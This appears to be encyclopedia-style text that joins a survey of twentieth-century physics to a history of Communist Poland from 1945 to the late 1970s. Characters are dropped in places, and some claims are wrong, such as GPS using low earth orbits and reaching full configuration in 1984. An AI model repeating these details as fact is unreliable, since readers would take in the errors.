          The invention of bubble chambers and spark chambers in the 1950s allowed physicists to discover large amounts of particles called hadrons ( Timeline of particle discoveries). There needed to exist some way of classifying these sub-atomic particles and how they interact with the fundamental forces in nature. This led physicists such as Gell-Mann, George Zweig, and others to development of Quantum chromodynamics, which describes the interaction between quarks and gluons found in hadrons. Two interesting properties of this theory are asymptotic freedom, and confinement. Asymptotic freedom was later discovered in 1973 by David Politzer, Frank Wilczek, and David Gross.


          Starting in 1960 the military establishment of the United States began using atomic clocks to construct the global positioning system which in 1984 achieved its full configuration of 24 satellites in low earth orbits. This came to have many important civilian and scientific uses as well. Investigations into quantum electronics by Charles Hard Townes, Nikolay Basov, Aleksandr Prokhorov, and Theodore Maiman in 1960's resulted in the development of lasers. When lasers were invented, they were called "a solution looking for a problem". Since then, they have become ubiquitous, finding utility in thousands of highly varied applications in every section of modern society, including consumer electronics, information technology, science, medicine, industry, law enforcement, entertainment, and the military. Superconductivity, discovered in 1911 by Kamerlingh Onnes, was shown to be a quantum effect and was satisfactorily explained in 1957 by Bardeen, Cooper, and Schrieffer. A family of high temperature superconductors, based on cuprate perovskite, were discovered in 1986, and their understanding remains one of the major outstanding challenges for condensed matter theorists.


          In 1974 Stephen Hawking discovered the spectrum of radiation emanating during the collapse of matter into black holes. These mysterious objects became of intense interest to astrophysicists and even the general public in the latter part of the twentieth century.


          The concept of quantum tunneling would be used to create a Scanning tunneling microscope in 1981 by Gerd Binnig and Heinrich Rohrer. The invention of the atomic force microscope (AFM) Scanning Tunneling Microscope (STM) are two early versions of scanning probes that launched nanotechnology. Scanning probe microscopy is an important technique both for characterization and synthesis of nanomaterials. Atomic force microscopes and scanning tunneling microscopes can be used to look at surfaces and to move atoms around. By designing different tips for these microscopes, they can be used for carving out structures on surfaces and to help guide self-assembling structures. By using, for example, feature-oriented scanning- positioning approach, atoms can be moved around on a surface with scanning probe microscopy techniques. At present, it is expensive and time-consuming for mass production but very suitable for laboratory experimentation.


          The independent discovery of a quantum mechanical effect, giant magnetoresistance, in 1988 by Albert Fert and Peter Grnberg is considered as the birth of spintronics. The effect manifests itself as a significant decrease in electrical resistance in the presence of a magnetic field. In the absence of an applied magnetic field the direction of magnetization of adjacent ferromagnetic layers is antiparallel due to a weak anti-ferromagnetic coupling between layers, and it decreases to a lower level of resistance when the magnetization of the adjacent layers align due to an applied external field. The spins of the electrons of the nonmagnetic metal align parallel or antiparallel with an applied magnetic field in equal numbers, and therefore suffer less magnetic scattering when the magnetizations of the ferromagnetic layers are parallel. The effect is exploited commercially by manufacturers of hard disk drives.


          The two themes of the twentieth century, general relativity and quantum mechanics, appear inconsistent with each other. General relativity describes the universe on the scale of planets and solar systems, while quantum mechanics operates on sub-atomic scales. This challenge is being attacked by string theory, which treats spacetime as composed, not of points, but of one-dimensional objects, strings. Strings have properties similar to a common string (e.g., tension and vibration). The theories yield promising, but not yet testable, results. The search for experimental verification of string theory is in progress.


          Attempts to unify quantum mechanics and general relativity made significant progress during the 1990s. At the close of the century, a Theory of everything was still not in hand, but some of its characteristics were taking shape. String theory, loop quantum gravity and black hole thermodynamics all predicted quantized spacetime on the Planck scale.


          A number of new efforts to understand the physical world arose in the last half of the twentieth century that generated widespread interest: fractals and scaling, self-organized criticality, complexity and chaos, power laws and noise, networks, non-equilibrium thermodynamics, sandpiles, nanotechnology, cellular automata and the anthropic principle were only a few of these important topics.


          


          Future directions
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          Research in physics is progressing constantly on a large number of fronts, and is likely to do so for the foreseeable future.


          In condensed matter physics, the greatest unsolved theoretical problem is the explanation for high-temperature superconductivity. Strong efforts, largely experimental, are being put into making workable spintronics and quantum computers.


          In particle physics, the first pieces of experimental evidence for physics beyond the Standard Model have begun to appear. Foremost amongst these are indications that neutrinos have non-zero mass. These experimental results appear to have solved the long-standing solar neutrino problem in solar physics. The physics of massive neutrinos is currently an area of active theoretical and experimental research. In the next several years, particle accelerators will begin probing energy scales in the TeV range, in which experimentalists are hoping to find evidence for the Higgs boson and supersymmetric particles.
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          Theoretical attempts to unify quantum mechanics and general relativity into a single theory of quantum gravity, a program ongoing for over half a century, have not yet borne fruit. Currently, the leading candidates are M-theory, superstring theory, and loop quantum gravity.


          Many astronomical and cosmological phenomena have yet to be explained satisfactorily, including the existence of ultra-high energy cosmic rays, the baryon asymmetry, the nature of non-baryonic dark matter, and the acceleration of the universe.


          Although much progress has been made in high-energy, quantum, and astronomical physics, many everyday phenomena, involving complexity, chaos, or turbulence remain poorly understood. Complex problems that would appear to be soluble by a clever application of dynamics and mechanics, such as the formation of sand piles, nodes in trickling water, the shape of water droplets, mechanisms of surface tension catastrophes, or self-sorting in shaken heterogeneous collections are unsolved.


          These complex phenomena have received growing attention since the 1970s for several reasons, not least of which has been the availability of modern mathematical methods and computers, which enabled complex systems to be modeled in new ways. The interdisciplinary relevance of complex physics also has increased, as exemplified by the study of turbulence in aerodynamics, or the observation of pattern formation in biological systems. In 1932, Horace Lamb correctly prophesied the success of the theory of quantum electrodynamics and the near-stagnant progress in the study of turbulence:


          
            "I am an old man now, and when I die and go to heaven there are two matters on which I hope for enlightenment. One is quantum electrodynamics, and the other is the turbulent motion of fluids. And about the former I am rather optimistic."
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          The history of Poland from 1945 to 1989 spans the period of Soviet Communist dominance over the People's Republic of Poland following World War II. These years, while featuring many improvements in the standards of living in Poland, were marred by social unrest and economic depression.


          Near the end of World War II, German forces were driven from Poland by the advancing Soviet Red Army, and the Yalta Conference sanctioned the formation of a provisional pro-Communist coalition government which ultimately ignored the Polish government-in-exile; this has been described as a betrayal of Poland by the Allied Powers in order to appease Soviet leader Joseph Stalin. After the Potsdam Agreement finalized the west shift of Poland between the Oder-Neisse and Curzon lines. Due to the expulsion of Germans, resettlement of Ukrainians and repatriation of Poles, Poland for the first time became a ethnically homogenous nation state. The new communist government in Warsaw increased its political power and over the next two years the Communist Polish United Workers' Party (PZPR) under Bolesław Bierut gained control of the People's Republic of Poland, which would become part of the postwar Soviet sphere of influence in Eastern Europe. A liberalizing "thaw" in Eastern Europe following Stalin's death in 1953 caused a more liberal faction of the Polish Communists of Władysław Gomułka to gain power. By the mid-1960s, Poland was experiencing increasing economic, as well as political, difficulties. In December 1970, a price hike led to a wave of strikes. The government introduced a new economic program based on large-scale borrowing from the West, which resulted in an immediate rise in living standards and expectations, but the program faltered because of the 1973 oil crisis. In the late 1970s the government of Edward Gierek was finally forced to raise prices, and this led to another wave of public protests.


          This vicious cycle was finally interrupted by the 1978 election of Karol Wojtyła as Pope John Paul II, strengthening the opposition to Communism in Poland. In early August 1980, the wave of strikes led to the founding of the independent trade union " Solidarity" ( Polish Solidarność) by electrician Lech Wałęsa. The growing strength of the opposition led the government of Wojciech Jaruzelski to declare martial law in December 1981. However, with the reforms of Mikhail Gorbachev in the Soviet Union, increasing pressure from the West, and continuing unrest, the Communists were forced to negotiate with their opponents. The 1989 Round Table Talks led to Solidarity's participation in the elections of 1989; its candidates' striking victory sparked off a succession of peaceful transitions from Communist rule in Central and Eastern Europe. In 1990, Jaruzelski resigned as Poland's leader. He was succeeded by Wałęsa in December's elections. The Communist People's Republic of Poland again became the Republic of Poland.


          


          Creation of the People's Republic of Poland (19441956)


          


          Wartime devastation
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          Poland suffered heavy losses during World War II. While in 1939 Poland had 35.1 million inhabitants, at the end of the war only 19.1 million remained within its borders, and the first post-war census of February 14, 1946 showed only 23.9 million. Over 6 million Polish citizens  nearly 21.4% of Poland's population  died between 1939 and 1945 Minorities in Poland were very significantly affected: before World War II, a third of Poland's population was composed of ethnic minorities; after the war, however, Poland's minorities were all but gone. Polish historians avoid details of how millions of people disappeared.


          Over eighty percent of Poland's capital was destroyed in the aftermath of the Warsaw Uprising. Poland, still a predominantly agricultural country compared to Western nations, suffered catastrophic damage to its infrastructure during the war, and lagged even further behind the West in industrial output in the War's aftermath. The losses in national resources and infrastructure amounted to over 30% of the pre-war potential.


          The implementation of the immense task of reconstructing the country was accompanied by the struggle of the new government to acquire a stable, centralized power base, further complicated by the mistrust a considerable part of the society held for the new regime and by disputes over Poland's postwar borders, which were not firmly established until mid-1945. In 1947 Soviet influence caused the Polish government to reject the American-sponsored Marshall Plan, and to join the Soviet Union-dominated Comecon in 1949. At the same time Soviet forces had engaged in plunder on the former eastern territories of Germany which were to be transferred to Poland, stripping it of valuable industrial equipment, infrastructure and factories and sending them to the Soviet Union.


          


          Consolidation of Communist power (19451948)
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          Even before the Red Army entered Poland, the Soviet Union was pursuing a deliberate strategy to eliminate anti-Communist resistance forces in order to ensure that Poland would fall under its sphere of influence. In 1943, following the Katyn massacre, Stalin had severed relations with the Polish government-in-exile in London. However, to appease the United States and the United Kingdom, the Soviet Union agreed at the February 1945 Yalta Conference to form a coalition government composed of the Communist Polish Workers' Party, members of the pro-Western Polish government in exile, and members of the Armia Krajowa ("Home Army") resistance movement, as well as to allow for free elections to be held.


          With the beginning of the liberation of Polish territories and the failure of the Armia Krajowa's Operation Tempest in 1944, control over Polish territories passed from the occupying forces of Nazi Germany to the Red Army, and from the Red Army to the Polish Communists, who held the largest influence under the provisional government. Thus from its outset, the Yalta decision favored the Communists, who enjoyed the advantages of Soviet support for their plan of bringing Eastern Europe securely under its influence, as well as control over crucial ministries such as the security services.
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          The Prime Minister of the Polish government-in-exile, Stanisław Mikołajczyk, resigned his post in 1944 and, along with several other exiled Polish leaders, returned to Poland, where a Provisional Government (Rząd Tymczasowy Rzeczypospolitej Polskiej; RTTP), had been created by the Communist-controlled Polish Committee of National Liberation (Polski Komitet Wyzwolenia Narodowego; PKWN) in Lublin. This government was headed by Socialist Edward Osbka-Morawski, but the Communists held a majority of key posts. Both of these governments were subordinate to the unelected, Communist-controlled parliament, the State National Council (Krajowa Rada Narodowa; KRN), and were not recognized by the increasingly isolated Polish government-in-exile, which had formed its own quasi-parliament, the Council of National Unity (Rada Jedności Narodowej; RJN).


          The new Polish Provisional Government of National Unity (Tymczasowy Rząd Jedności Narodowej; TRJN)  as the Polish government was called until the elections of 1947  was finally established on June 28, with Mikołajczyk as Deputy Prime Minister. The Communist Party's principal rivals were the veterans of the Armia Krajowa movement, along with Mikołajczyk's Polish People's (Peasant) Party (Polskie Stronnictwo Ludowe; PSL), and the veterans of the Polish armies which had fought in the West. But at the same time, Soviet-oriented parties, backed by the Soviet Red Army (the Northern Group of Forces would be permanently stationed in Poland) and in control of the security forces, held most of the power, especially in the Polish Workers' Party (Polska Partia Robotnicza; PPR) under Władysław Gomułka and Bolesław Bierut.


          


          Stalin had promised at the Yalta Conference that free elections would be held in Poland. However, the Polish Communists, led by Gomułka and Bierut, were aware of the lack of support for their side among the Polish population. Because of this, in 1946 a national referendum, known as " 3 times YES" (3 razy TAK; 3xTAK), was held instead of the parliamentary elections. The referendum comprised three fairly general questions, and was meant to check the popularity of communist rule in Poland. Because most of the important parties in Poland at the time were leftist and could have supported all of the options, Mikołajczyk's PSL decided to ask its supporters to oppose the abolition of the senate, while the Communist democratic bloc supported the "3 times YES" option. The referendum showed that the communist plans were met with little support, with less than a third of Poland's population voting in favour of the proposed changes. Only vote rigging won them a majority in the carefully controlled poll. Following the forged referendum, the Polish economy started to become nationalized.


          The Communists consolidated power by gradually whittling away the rights of their non-Communist foes, particularly by suppressing the leading opposition party, Mikołajczyk's Polish People's Party. In some cases, their opponents were sentenced to death  among them Witold Pilecki, the organizer of the Auschwitz resistance, and many leaders of Armia Krajowa and the Council of National Unity (in the Trial of the Sixteen). The opposition was also persecuted by administrative means, with many of its members murdered or forced to exile. Although the initial persecution of these former anti-Nazi organizations forced thousands of partisans back into forests, the actions of the UB (Polish secret police), NKVD and Red Army steadily diminished their number.


          By 1946, rightist parties had been outlawed. A pro-government " Democratic Bloc" formed in 1947 that included the forerunner of the communist Polish United Workers' Party and its leftist allies. By January 1947, the first parliamentary election allowed only opposition candidates of the Polish People's Party, which was nearly powerless due to government controls. Results were adjusted by Stalin himself to suit the Communists, and through those rigged elections, the regime's candidates gained 417 of 434 seats in parliament ( Sejm), effectively ending the role of genuine opposition parties. Many members of opposition parties, including Mikołajczyk, left the country. Western governments did not protest, which led many anti-Communist Poles to speak of postwar " Western betrayal". In the same year, the new Legislative Sejm created the Small Constitution of 1947, and over the next two years, the Communists would ensure their rise to power by monopolizing political power in Poland under the PZPR.


          Another force in Polish politics, Jzef Piłsudski's old party, the Polish Socialist Party (Polska Partia Socjalistyczna; PPS), suffered a fatal split at this time, as the communist applied the salami tactics to dismember any opposition. Communists support a faction led by Jzef Cyrankiewicz; eventually in 1948, the Communists and Cyrankiewicz's faction of Socialists merged to form the Polish United Workers' Party (Polska Zjednoczona Partia Robotnicza; PZPR). Mikołajczyk was forced to leave the country, and Poland became a de facto single-party state and a satellite state of the Soviet Union. Two facade small parties, one for farmers ( Zjednoczone Stronnictwo Ludowe) and one for the intelligentsia ( Stronnictwo Demokratyczne), were allowed to exist. A period of Sovietization and Stalinism started.


          


          Bierut era (19481956)


          The repercussions of Yugoslavia's break with Stalin reached Warsaw in 1948. As in the other eastern European satellite states, there was a purge of Communists suspected of nationalist or other "deviationist" tendencies in Poland. In September, one of communist leaders, Władysław Gomułka, who had always been an opponent of Stalin's control of the Polish party, was accused of "nationalistic tendency", dismissed from his posts, and imprisoned. However no equivalent of the show trials that took place in the other Eastern European states occurred, and Gomułka escaped with his life. Bierut replaced him as party leader.


          The new Polish government was controlled by Polish Communists who had spent the war in the Soviet Union. They were "assisted"  and in some cases controlled  by Soviet "advisers" who were placed in every part of the government; Polish Army, intelligence and police were full of Soviet officers. The most important of these advisers was Konstantin Rokossovsky (Konstanty Rokossowski in Polish), the Defense Minister from 1949 to 1956. Although of Polish parentage, he had spent his adult life in the Soviet Union, and had attained the rank of Marshal in the Soviet Armed Forces.


          This government, headed by Cyrankiewicz and economist Hilary Minc, carried through a program of sweeping economic reform and national reconstruction. The Stalinist turn that led to the ascension of Bierut meant that Poland would now be brought into line with the Soviet model of a " people's democracy" and a centrally planned socialist economy, in place of the faade of democracy and market economy which the regime had preserved until 1948. Fully Soviet-style centralized planning was introduced in the Six-Year Plan, which began in 1950. The plan called for accelerated development of heavy industry and forced collectivization of agriculture. In what became known as the battle for trade, the private trade and industry were nationalized, the land seized from prewar landowners was redistributed to the peasants. The regime embarked on the collectivization of agriculture (as seen in the creation of Państwowe Gospodarstwo Rolne), although the pace for this change was slower than in other satellites; Poland remained the only Soviet bloc country where individual peasants dominated agriculture.


          In 1948 the United States announced the Marshall plan, its initiative to help rebuild Europe. After initially welcoming the idea of Polish involvement in the plan, the Polish government declined to participate under pressure from Moscow. This marked the beginning of the wealth gap, which would increase in years to come, as the Western market economies grew much more quickly than the centrally planned socialist economies of Eastern Europe.


          Millions of Poles transferred from the Kresy territories east of the Curzon line annexed by the Soviet Union into the new Western and Northern Territories east of the Oder-Neisse line, which the Soviets transferred from Germany to Poland after the Potsdam Agreement. By 1950, 5 million Poles had been settled in what the government called the Regained Territories and the former German population was expelled. When the 1947 Operation Wisła dispersed the remaining Ukrainian minority, and with the former Jewish minority exterminated by Nazi Germany during the Shoa, Poland for the first time became an ethnically homogenous nation state. Warsaw and other ruined cities were cleared of rubble  mainly by hand  and rebuilt with great speed, one of the successes of the Three-Year Plan.


          The constitution of 1952 guaranteed universal free health care. In the early 1950s, the Communist regime also carried out major changes to the education system. The Communist program of free and compulsory school education for all, and the establishment of new free universities, received much support. The Communists also took the opportunity to screen out what facts and interpretations were to be taught; history as well as other sciences had to follow Marxist views as well as be subject to political censorship. At the same time between 1951 and 1953 a large number of pre-war reactionary professors was dismissed from the universities. The control over art and artists was deepened and with time the Socialist Realism became the only movement that was accepted by the authorities. After 1949 most of works of art presented to the public had to be in line with the voice of the Party and present its propaganda.
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          Those and other reforms, while more or less controversial, were greeted with relief by a significant faction of the population. After the Second World War many people were willing to accept even Communist rule in exchange for the restoration of relatively normal life; tens of thousands joined the communist party and actively supported the regime. Nonetheless a latent popular discontent remained present. Many Poles adopted an attitude that might be called "resigned cooperation". Others, like the remnants of the Armia Krajowa, and Narodowe Siły Zbrojne and Wolność i Niezawisłość, known as the cursed soldiers, actively opposed the Communists, hoping that a possible World War III would liberate Poland. Although most had surrendered during the amnesty of 1947, the brutal repressions by the secret police led many of them back into the forests, where a few continued to fight well into the 1950s.


          The Communists further alienated many Poles by persecuting the Catholic Church. The Stowarzyszenie PAX ("PAX Association") created in 1947 worked to undermine grassroot support from the Church and attempted to create a Communist Catholic Church. In 1953 the Primate of Poland, Stefan Cardinal Wyszyński, was placed under house arrest, although before that he had been willing to make compromises with the government.
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          The new Polish Constitution of 1952 officially established Poland as a People's Republic, ruled by the Polish United Workers' Party, which since the absorption of the left wing of the Socialist Party in 1948 had been the Communist Party's official name. The post of President of Poland was abolished, and Bierut, the First Secretary of the Communist Party, became the effective leader of Poland.


          Stalin had died in 1953. Between 1953 and 1958 Nikita Khrushchev outmaneuvered his rivals and achieved power in the Soviet Union. In March 1956 Khrushchev denounced Stalin's cult of personality at the 20th Congress of the Soviet Communist Party. The de-Stalinization of official Soviet ideology left Poland's Stalinist hard-liners in a difficult position. In the same month as Khrushchev's speech, as unrest and desire for reform and change among both intellectuals and workers was beginning to surface throughout the Eastern Bloc, the death of the hard-line Bierut in March 1956 exacerbated an existing split in the PZPR. Bierut was succeeded by Edward Ochab as First Secretary of the PZPR, and by Cyrankiewicz as Prime Minister.


          


          Gomułka period (19561970)


          


          De-Stalinization
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          The Polish Communists were divided into two informal factions, named Natolin and Puławy after the locations where they held their meetings: the Palace of Natolin near Warsaw and Puławska Street in Warsaw. Natolin consisted largely of ethnic Poles of peasant origin who in large part had spent the war in occupied Poland, and had a peculiar nationalistic-communistic ideology. Headed by Władysław Gomułka, the faction underlined the national character of Polish local communist movement. Puławy faction included Jewish Communists, as well as members of the old Communist intelligentsia, who in large part spent the war in the USSR and supported the Sovietization of Poland.


          In June 1956, workers in the industrial city of Poznań went on strike. Demonstrations by striking workers turned into huge riots, in which 80 people were killed. Cyrankiewicz tried to repress the riots at first, threatening that "any provocateur or lunatic who raises his hand against the people's government may be sure that this hand will be chopped off." But soon the hard-liners realized that they had lost the support of the Soviet Union, and the regime turned to conciliation: it announced wage rises and other reforms. Voices began to be raised in the Party and among the intellectuals calling for wider reforms of the Stalinist system.


          Realizing the need for new leadership, in what became known as Polish October, the PZPR chose Władysław Gomułka, a moderate who had been purged after losing his battle with Bierut, as First Secretary in October 1956; who convinced the Soviet Union that he would not allow its influence on Eastern Europe to diminish. Even so, Poland's relations with the Soviet Union were not nearly as strained as Yugoslavia's. As a further sign that the end of Soviet influence in Poland was nowhere in sight, the Warsaw Pact was signed in the Polish capital of Warsaw on May 14, 1955, to counteract the establishment of the Western NATO.


          Hard-line Stalinists such as Berman were removed from power, and many Soviet officers serving in the Polish Armed Forces were dismissed, but almost no one was put on trial for the repressions of the Bierut period. The Puławy faction argued that mass trials of Stalin-era officials, many of them Jewish, would incite animosity toward the Jews. Konstantin Rokossovsky and other Soviet advisors were sent home, and Polish Communism took on a more independent orientation. However, Gomułka knew that the Soviets would never allow Poland to leave the Warsaw Pact because of Poland's strategic position between the Soviet Union and Germany. He agreed that Soviet troops could remain in Poland, and that no overt anti-Soviet outbursts would be allowed. In this way, Poland avoided the risk of the kind of Soviet armed intervention that crushed the revolution in Hungary that same month.


          There were also repeated attempts by some Polish academics and philosophers, many related to the pre-war Lwow-Warsaw School and later Poznań School - such as Kazimierz Ajdukiewicz, Tadeusz Czeżowski, Leszek Kołakowski, Tadeusz Kotarbiński, Stanisław Ossowski, Adam Schaff - to develop a specific form of Polish Marxism. Their attempts to create a bridge between Poland's history and Soviet Marxist ideology were mildly successful, although always stifled due to the regime's unwillingness to risk the wrath of the Soviet Union for going too far from the Soviet party line.


          


          National communism


          Poland welcomed Gomułka's rise to power with relief. Many Poles still rejected Communism, but they knew that the realities of Soviet dominance dictated that Poland could not escape from Communist rule. Gomułka promised an end to police terror, greater intellectual and religious freedom, higher wages and the reversal of collectivization, and to a certain extent he indeed fulfilled all of these promises. The January 1957 elections were more liberal than previous communist elections but still no opposition candidates were permitted to run.


          Gomułka's Poland was generally described as one of the more "liberal" Communist regimes, and Poland was certainly more open than East Germany, Czechoslovakia and Romania during this period. Nevertheless, under Gomułka, Poles could still go to prison for writing political satire about the Party leader, as Janusz Szpotański did, or for publishing a book abroad. Jacek Kuroń, who would later become a prominent dissident, was imprisoned for writing an "open letter" to other Party members. As Gomułka's popularity declined and his reform Communism lost its impetus, the regime became steadily less liberal and more repressive.


          After the first wave of reform, Gomułka's regime started to move back on their promises, as the power of the Party, such as Party's control of the media and universities, was gradually restored, and many of the younger and more reformist members of the Party were expelled. The reform-promising Gomułka of 1956 was replaced by the authoritarian Gomułka. Poland enjoyed a period of relative stability over the next decade, but the idealism of the " Polish October" had faded away. What replaced it was a somewhat cynical form of Polish nationalism intervened with communist ideology, fueled by a propaganda campaigns such as the one against West Germany over its unwillingness to recognize the Oder-Neisse line.


          By the mid-1960s, Poland was starting to experience economic, as well as political, difficulties. Like all the Communist regimes, Poland was spending too much on heavy industry, armaments and prestige projects, and too little on consumer production. The end of collectivization returned the land to the peasants, but most of their farms were too small to be efficient, so productivity in agriculture remained low. Economic relations with West Germany were frozen because of the impasse over the Oder-Neisse line. Gomułka chose to ignore the economic crisis, and his autocratic methods prevented the major changes required to prevent a downward economic spiral.
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          By the 1960s, other government officials had begun to plot against Gomułka. His security chief, Mieczysław Moczar, a wartime Communist partisan commander, formed a new faction, "the Partisans", based on principles of Communist nationalism and anti- inteligencja and anti-Jewish sentiment. The Party boss in Upper Silesia, Edward Gierek, who unlike most of the Communist leaders was a genuine product of the working class, also emerged as a possible alternative leader.


          In March 1968 student demonstrations at Warsaw University broke out when the government banned the performance of a play by Adam Mickiewicz ( Dziady, written in 1824) at the Polish Theatre in Warsaw, on the grounds that it contained "anti-Soviet references". In what became known as the March 1968 events Moczar used this affair as a pretext to launch an anti-intellectual and anti-Semitic press campaign (although the expression "anti-Zionist" was the one officially used) whose real goal was to weaken the pro-reform liberal faction. Approximately 20,000 Jews lost their jobs and had to emigrate.


          The communist government reacted in several ways to the March events. One was an official approval for demonstrating Polish national feelings, including the scaling down of official criticism of the prewar Polish regime, and of Poles who had fought in the anti-Communist wartime partisan movement, the Armia Krajowa. The second was the complete alienation of the regime from the leftist intelligentsia, who were disgusted at the official promotion of anti-Semitism. Many Polish intellectuals opposed the campaign, some openly, and Moczar's security apparatus became as hated as Berman's had been. The third was the founding by Polish Emigrants to the West of organizations that encouraged opposition within Poland. The campaign damaged Poland's reputation abroad, particularly in the United States.


          Two things saved Gomułka's regime at this point. First, the Soviet Union, now led by Leonid Brezhnev, made it clear that it would not tolerate political upheaval in Poland at a time when it was trying to deal with the crisis in Czechoslovakia. In particular, the Soviets made it clear that they would not allow Moczar, whom they suspected of anti-Soviet nationalism, to be leader of Poland. Secondly, the workers refused to rise up against the regime, partly because they distrusted the intellectual leadership of the protest movement, and partly because Gomułka placated them with higher wages. The Catholic Church, while protesting against police violence against demonstrating students, was also not willing to support a direct confrontation with the regime.


          In August 1968 the Polish People's Army took part in the invasion of Czechoslovakia. Some Polish intellectuals protested, and Ryszard Siwiec burned himself alive during the official national holiday celebrations. Polish participation in crushing Czech liberal communism (or socialism with a human face, as it was called at that time) further alienated Gomułka from his former liberal supporters. However, in 1970 Gomułka won a political victory when he gained West German recognition of the Oder-Neisse line. The German Chancellor, Willy Brandt, asked on his knees for forgiveness for the crimes of the Nazis ( Warschauer Kniefall); this gesture was understood in Poland as being addressed to Poles, although it was actually made at the site of the Warsaw Ghetto and was thus directed primarily toward the Jews. This occurred five years after Polish bishops had issued the famous Letter of Reconciliation of the Polish Bishops to the German Bishops, then heavily criticized by the Polish government.


          Gomułka's temporary political success could not mask the economic crisis into which Poland was drifting. Although the system of fixed, artificially low food prices kept urban discontent under control, it caused stagnation in agriculture and made more expensive food imports necessary. This situation was unsustainable, and in December 1970, the regime suddenly announced massive increases in the prices of basic foodstuffs. It is possible that the price rises were imposed on Gomułka by enemies of his in the Party leadership who planned to maneuver him out of power. The raised prices were unpopular among many urban workers. Gomułka believed that the agreement with West Germany had made him more popular, but in fact most Poles seemed to feel that since the Germans were no longer a threat to Poland, they no longer needed to tolerate the Communist regime as a guarantee of Soviet support for the defense of the Oder-Neisse line.


          Demonstrations against the price rises broke out in the northern coastal cities of Gdańsk, Gdynia, Elbląg and Szczecin. Gomułka's right-hand man, Zenon Kliszko, made matters worse by ordering the army to fire on protesting workers. Another leader, Stanisław Kociołek, appealed to the workers to return to work. However, in Gdynia the soldiers had orders to prevent workers from returning to work, and they fired into a crowd of workers emerging from their trains; hundreds of workers were killed. The protest movement spread to other cities, leading to more strikes and causing angry workers to occupy many factories.


          The Party leadership met in Warsaw and decided that a full-scale working-class revolt was inevitable unless drastic steps were taken. With the consent of Brezhnev in Moscow, Gomułka, Kliszko and other leaders were forced to resign. Since Moscow would not accept the appointment of Moczar, Edward Gierek was drafted as the new First Secretary of the PZPR. Prices were lowered, wage increases were announced, and sweeping economic and political changes were promised. Gierek went to Gdańsk and met the workers personally, apologizing for the mistakes of the past, and saying that as a worker himself, he would now govern Poland for the people.


          


          Gierek era (19701980)
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          Gierek, like Gomułka in 1956, came to power on a raft of promises that now everything would be different: wages would rise, prices would remain stable, there would be freedom of speech, and those responsible for the violence at Gdynia and elsewhere would be punished. Although Poles were much more cynical than they had been in 1956, Gierek was believed to be an honest and well-intentioned man, and his promises bought him some time. He used this time to create a new economic program, one based on large-scale borrowing from the West  mainly from the United States and West Germany  to buy technology that would upgrade Poland's production of export goods. This massive borrowing, estimated to have totaled US$10 billion, was used to re-equip and modernize Polish industry, and to import consumer goods in order to give the workers more incentive to work.


          For the next four years, Poland enjoyed rapidly rising living standards and an apparently stable economy. Real wages rose 40% between 1971 and 1975, and for the first time most Poles could afford to buy cars, televisions and other consumer goods. Poles living abroad, veterans of the Armia Krajowa and the Polish Armed Forces in the West, were invited to return and to invest their money in Poland, which many did. The peasants were subsidized to grow more food. Poles were able to travel  mainly to West Germany, Sweden and Italy  with little difficulty. There was also some cultural and political relaxation. As long as the "leading role of the Party" and the Soviet "alliance" were not criticized, there was a limited freedom of speech. With the workers and peasants reasonably happy, the regime knew that a few grumbling intellectuals could pose no challenge.


          "Consumer Communism", based on present global economic conditions, raised Polish living standards and expectations, but the program faltered suddenly in the early 1970s because of worldwide recession and increased oil prices. The effects of the world oil shock following the 1973 Arab-Israeli War produced an inflationary surge followed by a recession in the West, which resulted in a sharp increase in the price of imported consumer goods, coupled with a decline in demand for Polish exports, particularly coal. Poland's foreign debt rose from US$100 million in 1971 to US$6 billion in 1975, and continued to rise rapidly. This made it more and more difficult for Poland to continue borrowing from the West. Once again, consumer goods began to disappear from Polish shops. The new factories built by Gierek's regime also proved to be largely ineffective and mismanaged, often ignoring basics of market demand and cost effectiveness.
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          In 1975, Poland and almost all other European countries became signatories of the Helsinki Accords and a member of Organization for Security and Co-operation in Europe (OSCE), the creation of which marked the high point of the period of " dtente" between the Soviet Union and the United States. Despite the regime's claims that the freedoms mentioned in the agreement would be implemented in Poland, there was little change. However, Poles were gradually becoming more aware of the rights they were being denied.


          As the government became increasingly unable to borrow money from abroad, it had no alternative but to raise prices, particularly for basic foodstuffs. The government had been so afraid of a repeat of the 1970 worker rebellion that it had kept prices frozen at the 1970 levels rather than allowing them to rise gradually. Then, in June 1976, under pressure from Western creditors, the government again introduced price increases: butter by 33%, meat by 70%, and sugar by 100%. The result was an immediate nationwide wave of strikes, with violent demonstrations and looting at Płock and Radom. Gierek backed down at once, dismissing Prime Minister Piotr Jaroszewicz and repealing the price rises. This left the government looking both economically foolish and politically weak, a very dangerous combination.
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          The 1976 disturbances and the subsequent arrests and dismissals of worker militants brought the workers and the intellectual opposition to the regime back into contact. A group of intellectuals led by Jacek Kuroń and Adam Michnik founded the Committee for the Defence of the Workers (Komitet Obrony Robotnikw; KOR). The aim of the KOR was at first simply to assist the worker victims of the 1976 repression, but it inevitably became a political resistance group. It marked an important development: the intellectual dissidents accepting the leadership of the working class in opposing the regime. These events brought many more Polish intellectuals into active opposition of the Polish government. The complete failure of the Gierek regime, both economically and politically, led many of them to join or rejoin the opposition. During this period, new opposition groups were formed, such as the Confederation of Independent Poland (KPN), Free Trade Unions of the Coast (WZW) and the Movement for Defense of Human and Civic Rights (ROPCiO), which tried to resist the regime by denouncing it for violating Polish laws and the Polish constitution.


          For the rest of the 1970s, resistance to the regime grew, in the form of trade unions, student groups, clandestine newspapers and publishers, imported books and newspapers, and even a " flying university". The regime made no serious attempt to suppress the opposition. Gierek was interested only in buying off dissatisfied workers and keeping the Soviet Union convinced that Poland was a loyal ally. But the Soviet alliance was at the heart of Gierek's problems: following Brezhnev Doctrine and because of Poland's strategic position between the Soviet Union and Germany, the Soviets would never allow Poland to drift out of its orbit, as Yugoslavia and Romania had by this time done. Nor would they allow any fundamental economic reform that would endanger the "socialist system".
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          At this juncture, on October 16, 1978, Poland experienced what many Poles literally believed to be a miracle. The Archbishop of Krakw, Karol Wojtyła, was elected Pope, taking the name John Paul II. The election of a Polish Pope had an electrifying effect on what was by the 1970s one of the last idiosyncratically Catholic countries in Europe. When John Paul toured Poland in June 1979, half a million people heard him speak in Warsaw, and about a quarter of the entire population of the country attended at least one of his outdoor masses. Overnight, John Paul became the most important person in Poland, leaving the regime not so much opposed as ignored. However, John Paul did not call for rebellion; instead, he encouraged the creation of an "alternative Poland" of social institutions independent of the government, so that when the next crisis came, the nation would present a united front.


